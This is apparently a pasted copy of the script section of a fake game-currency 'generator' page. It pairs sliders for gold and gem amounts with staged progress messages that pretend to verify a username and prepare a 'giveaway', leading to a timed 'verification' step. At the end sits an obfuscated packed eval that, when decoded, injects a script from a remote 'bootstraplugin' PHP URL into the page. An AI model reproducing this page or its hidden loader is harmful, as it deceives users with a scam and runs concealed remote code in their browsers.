Date;b=this.finalDate.getTime()-d.getTime(),b=Math.ceil(b/1e3),b=!this.options.elapse&&b<0?0:Math.abs(b),this.totalSecsLeft!==b&&c&&(this.totalSecsLeft=b,this.elapsed=d>=this.finalDate,this.offset={seconds:this.totalSecsLeft%60,minutes:Math.floor(this.totalSecsLeft/60)%60,hours:Math.floor(this.totalSecsLeft/60/60)%24,days:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToWeek:Math.floor(this.totalSecsLeft/60/60/24)%7,daysToMonth:Math.floor(this.totalSecsLeft/60/60/24%30.4368),weeks:Math.floor(this.totalSecsLeft/60/60/24/7),weeksToMonth:Math.floor(this.totalSecsLeft/60/60/24/7)%4,months:Math.floor(this.totalSecsLeft/60/60/24/30.4368),years:Math.abs(this.finalDate.getFullYear()-d.getFullYear()),totalDays:Math.floor(this.totalSecsLeft/60/60/24),totalHours:Math.floor(this.totalSecsLeft/60/60),totalMinutes:Math.floor(this.totalSecsLeft/60),totalSeconds:this.totalSecsLeft},this.options.elapse||0!==this.totalSecsLeft?this.dispatchEvent("update"):(this.stop(),this.dispatchEvent("finish")))},dispatchEvent:function(b){var c=a.Event(b+".countdown");c.finalDate=this.finalDate,c.elapsed=this.elapsed,c.offset=a.extend({},this.offset),c.strftime=d(this.offset),this.$el.trigger(c)}}),a.fn.countdown=function(){var b=Array.prototype.slice.call(arguments,0);return this.each(function(){var c=a(this).data("countdown-instance");if(void 0!==c){var d=f[c],e=b[0];j.prototype.hasOwnProperty(e)?d[e].apply(d,b.slice(1)):null===String(e).match(/^[$A-Z_][0-9A-Z_$]*$/i)?(d.setFinalDate.call(d,e),d.start()):a.error("Method %s does not exist on jQuery.countdown".replace(/\%s/gi,e))}else new j(this,b[0],b[1])})}});
- </script>
- <script type="text/javascript">
- $(window).on("orientationchange",function(){
- if(window.orientation == 0) // Portrait
- {
- $.magnificPopup.close();
- }
- else // Landscape
- {
- $.magnificPopup.open({
- items: {
- src: '#orientation-detect',
- },
- type: 'inline',
- preloader: false,
- modal: true,
- });
- }
- });
- $(document).ready(function(){
- $('#popover1').popover('show');
- });
- $('.increase-button').click(function(event) {
- $('#popover1').popover('hide');
- $('#popover2').popover('show');
- });
- $('#usernameInput').click(function(event) {
- $('#popover3').popover('show');
- $('#popover2').popover('hide');
- });
- $('.giveway-btn').click(function(event) {
- $('#popover3').popover('hide');
- });
- function progressBar(percent, $element) {
- var progressBarWidth = percent * $element.width() / 100;
- $element.find('div').animate({ width: progressBarWidth }, 500).html(percent + "% ");
- }
- progressBar(20, $('#progressBar'));
- var select = $( "#royalgold-amount-wrapper" );
- var slider = $( "<div id='slider-royalgold'></div>" ).insertAfter( select ).slider({
- min: 0,
- max: 1000000,
- value: 0,
- range: "min",
- change: function(event, ui) {
- var sliderValue = $( "#slider-royalgold" ).slider( "option", "value" );
- $('#royalgold-amount').html(sliderValue);
- if(sliderValue == '12000') {
- $('#decrease-royalgold').addClass('btn-disabled');
- $('.max-amount-coins').fadeOut();
- }
- else if (sliderValue == '24000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '36000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '48000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '60000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '72000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '84000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '96000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '108000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '120000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '720000') {
- $('#decrease-royalgold').removeClass('btn-disabled');
- }
- else if (sliderValue == '840000') {
- }
- else if (sliderValue == '960000') {
- $('#increase-royalgold').removeClass('btn-disabled');
- $('.max-amount-coins').fadeOut();
- }
- else if (sliderValue == '1000000') {
- $('#increase-royalgold').addClass('btn-disabled');
- $('.max-amount-coins').fadeIn();
- }
- }
- });
- $('#increase-royalgold').click(function() {
- var sliderCurrentValue = $( "#slider-royalgold" ).slider( "option", "value" );
- slider.slider( "value", sliderCurrentValue + 6000 );
- });
- $('#decrease-royalgold').click(function() {
- var sliderCurrentValue = $( "#slider-royalgold" ).slider( "option", "value" );
- slider.slider( "value", sliderCurrentValue - 6000 );
- });
- function progressBargem(percent, $element) {
- var progressBargemWidth = percent * $element.width() / 100;
- $element.find('div').animate({ width: progressBargemWidth }, 500).html(percent + "% ");
- }
- progressBargem(30, $('#progressBargem'));
- var selectgem = $( "#royalgem-amount-wrapper" );
- var slidergem = $( "<div id='slider-royalgem'></div>" ).insertAfter( selectgem ).slider({
- min: 0,
- max: 25000,
- value: 0,
- range: "min",
- change: function(event, ui) {
- var sliderValuegem = $( "#slider-royalgem" ).slider( "option", "value" );
- $('#royalgem-amount').html(sliderValuegem);
- if(sliderValuegem == '5000') {
- $('#decrease-royalgem').addClass('btn-disabled');
- $('.max-amount-gem').fadeOut();
- }
- else if (sliderValuegem == '10000') {
- $('#decrease-royalgem').removeClass('btn-disabled');
- }
- else if (sliderValuegem == '15000') {
- }
- else if (sliderValuegem == '20000') {
- $('#increase-royalgem').removeClass('btn-disabled');
- $('.max-amount-gem').fadeOut();
- }
- else if (sliderValuegem == '25000') {
- $('#increase-royalgem').addClass('btn-disabled');
- $('.max-amount-gem').fadeIn();
- }
- }
- });
- $('#increase-royalgem').click(function() {
- var sliderCurrentgemValue = $( "#slider-royalgem" ).slider( "option", "value" );
- slidergem.slider( "value", sliderCurrentgemValue + 5000 );
- });
- $('#connect-btn').click(function(event) {
- if ($('#usernameInput').val() == '') {
- console.log('usernameInput is null');
- $.magnificPopup.open({
- items: {
- src: '#error-message-user',
- },
- type: 'inline',
- preloader: false,
- modal: true,
- });
- } else {
- $('#user-text').text($('#usernameInput').val());
- $('.username-wrap').fadeOut('slow', function() {
- $('.username-wrap2').addClass('connected');
- $('.username-wrap2').fadeIn('slow', function() {
- console.log('username connected');
- });
- });
- $('.icon-effect').removeClass('display-none');
- }
- });
- $('.show-message').click(function() {
- $.magnificPopup.close();
- $.magnificPopup.open({
- items: {
- src: '#error-message',
- },
- type: 'inline',
- preloader: false,
- modal: true,
- });
- });
- $('.close-pop').click(function() {
- $.magnificPopup.close();
- });
- /*Generator*/
- $('.giveway-btn').click(function(event) {
- if ($('.username-wrap2').hasClass('connected')) {
- $('#giveway-text').text('processing...');
- giveway_progress(function() {
- $('#progress-span').text('1')
- $('#giveway-text').text('search for username');
- console.log('giveway_1');
- giveway_progress2(function() {
- $('#giveway-text').text('username is correct');
- $('#progress-span').text('2')
- console.log('giveway_2');
- giveway_progress3(function() {
- $('#giveway-text').text('processing giveaway slots');
- $('#progress-span').text('3')
- console.log('giveway_3');
- giveway_progress4(function() {
- $('#progress-span').text('4')
- $('#giveway-text').text('your giveaway is ready');
- $('.display-no').fadeOut('slow', function() {
- $('.verification').fadeIn('slow', function() {
- var text = $('#user-text').text();
- $('#user-text2').append(text);
- console.log('verification');
- });
- });
- console.log('giveway_4');
- });
- });
- });
- });
- console.log('ok');
- } else {
- $.magnificPopup.open({
- items: {
- src: '#acc-connect-err',
- },
- type: 'inline',
- preloader: false,
- modal: true,
- });
- }
- });
- function giveway_progress(callback) {
- var $progress_percent = 0;
- var $blue_progress = $('.g-progressbar');
- $blue_progress.css('width', '0%');
- var interval_timer = setInterval(function() {
- if ($progress_percent == 0) {
- $progress_percent = 20;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 20) {
- $progress_percent = 35;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 35) {
- $progress_percent = 65;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 65) {
- $progress_percent = 75;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 75) {
- $progress_percent = 85;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 85) {
- $progress_percent = 89;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 89) {
- $progress_percent = 100;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 100) {
- callback();
- clearInterval(interval_timer);
- }
- }, Math.floor((Math.random() * 900) + 600));
- }
- function giveway_progress2(callback) {
- var $progress_percent = 0;
- var $blue_progress = $('.g-progressbar');
- $blue_progress.css('width', '0%');
- var interval_timer = setInterval(function() {
- if ($progress_percent == 0) {
- $progress_percent = 20;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 20) {
- $progress_percent = 35;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 35) {
- $progress_percent = 65;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 65) {
- $progress_percent = 75;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 75) {
- $progress_percent = 85;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 85) {
- $progress_percent = 89;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 89) {
- $progress_percent = 100;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 100) {
- callback();
- clearInterval(interval_timer);
- }
- }, Math.floor((Math.random() * 1100) + 600));
- }
- function giveway_progress3(callback) {
- var $progress_percent = 0;
- var $blue_progress = $('.g-progressbar');
- $blue_progress.css('width', '0%');
- var interval_timer = setInterval(function() {
- if ($progress_percent == 0) {
- $progress_percent = 20;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 20) {
- $progress_percent = 35;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 35) {
- $progress_percent = 65;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 65) {
- $progress_percent = 75;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 75) {
- $progress_percent = 85;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 85) {
- $progress_percent = 89;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 89) {
- $progress_percent = 100;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 100) {
- callback();
- clearInterval(interval_timer);
- }
- }, Math.floor((Math.random() * 800) + 600));
- }
- function giveway_progress4(callback) {
- var $progress_percent = 0;
- var $blue_progress = $('.g-progressbar');
- $blue_progress.css('width', '0%');
- var interval_timer = setInterval(function() {
- if ($progress_percent == 0) {
- $progress_percent = 20;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 20) {
- $progress_percent = 35;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 35) {
- $progress_percent = 65;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 65) {
- $progress_percent = 75;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 75) {
- $progress_percent = 85;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 85) {
- $progress_percent = 89;
- $blue_progress.css('width', $progress_percent + '%');
- } else if ($progress_percent == 89) {
- $progress_percent = 100;
- $blue_progress.css('width', $progress_percent + '%')
- } else if ($progress_percent == 100) {
- callback();
- clearInterval(interval_timer);
- }
- }, Math.floor((Math.random() * 1000) + 600)); var end = new Date().getTime() + 5*60*1000;
- $(".verificationcounter").countdown(end).on('update.countdown', function(ev) {
- var format = '%M minute%!M and %S second%!S';
- $(this).html(ev.strftime(format)); });
- }
- eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('(5(0){4 1=0.7(\'1\');1.2=\'//3.6/d.8?c=b\';0.a.9(1)})(0);',14,14,'document|script|src|bootstraplugin|var|function|com|createElement|php|appendChild|head|167|id|p'.split('|'),0,{}))
- </script>
- </body>
- </html>
Add Comment
Please, Sign In to add comment